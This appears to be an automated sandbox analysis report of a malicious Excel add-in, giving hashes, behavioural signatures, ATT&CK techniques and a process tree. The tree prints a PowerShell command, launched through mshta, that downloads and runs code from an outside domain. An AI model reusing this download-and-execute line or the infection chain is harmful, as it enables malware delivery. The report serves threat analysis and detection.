Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 20:02

General

  • Target

    50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll

  • Size

    12KB

  • MD5

    10e4c8c61c715af85c4cedc1ee10cfa9

  • SHA1

    d6a9cd1414ba2f841b87278fae980ebc1d7d41dd

  • SHA256

    50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75

  • SHA512

    04c732e5703853e4cb93641c2be9aa35ebee8bfe0214b73831297c3d050bd2c8c169ac1eb6a31349b1453ba7f175911f3245b6d3b7db4a2ecbeb5a8054764d40

  • SSDEEP

    192:zL29RBzDzeobchBj8JONMONaruPrEPEjr7AhnP:v29jnbcvYJONcuPvr7CP

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:952
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\J6994X5U\d[1].htm
    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75.xll
    Filesize

    12KB

    MD5

    10e4c8c61c715af85c4cedc1ee10cfa9

    SHA1

    d6a9cd1414ba2f841b87278fae980ebc1d7d41dd

    SHA256

    50964faa7fe10a1fdc698e847d8b468ff2dedd85c353231750cc198453ba6f75

    SHA512

    04c732e5703853e4cb93641c2be9aa35ebee8bfe0214b73831297c3d050bd2c8c169ac1eb6a31349b1453ba7f175911f3245b6d3b7db4a2ecbeb5a8054764d40

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wlvvl3hn.hsd.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2776-49-0x0000000006050000-0x00000000063A7000-memory.dmp
    Filesize

    3.3MB

  • memory/2776-38-0x0000000005680000-0x00000000056A2000-memory.dmp
    Filesize

    136KB

  • memory/2776-36-0x0000000003040000-0x0000000003076000-memory.dmp
    Filesize

    216KB

  • memory/2776-56-0x0000000006A10000-0x0000000006A2A000-memory.dmp
    Filesize

    104KB

  • memory/2776-55-0x0000000007D60000-0x00000000083DA000-memory.dmp
    Filesize

    6.5MB

  • memory/2776-51-0x0000000006720000-0x000000000676C000-memory.dmp
    Filesize

    304KB

  • memory/2776-37-0x0000000005710000-0x0000000005D3A000-memory.dmp
    Filesize

    6.2MB

  • memory/2776-50-0x0000000006500000-0x000000000651E000-memory.dmp
    Filesize

    120KB

  • memory/2776-39-0x0000000005F70000-0x0000000005FD6000-memory.dmp
    Filesize

    408KB

  • memory/2776-40-0x0000000005FE0000-0x0000000006046000-memory.dmp
    Filesize

    408KB

  • memory/3016-12-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-0-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-15-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-3-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-83-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-82-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-9-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-13-0x00007FFBFA3B0000-0x00007FFBFA3C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-14-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-1-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-2-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-11-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-10-0x00007FFBFA3B0000-0x00007FFBFA3C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-7-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-8-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-5-0x00007FFC3C7C3000-0x00007FFC3C7C4000-memory.dmp
    Filesize

    4KB

  • memory/3016-63-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-79-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-80-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-6-0x00007FFC3C720000-0x00007FFC3C929000-memory.dmp
    Filesize

    2.0MB

  • memory/3016-81-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB

  • memory/3016-4-0x00007FFBFC7B0000-0x00007FFBFC7C0000-memory.dmp
    Filesize

    64KB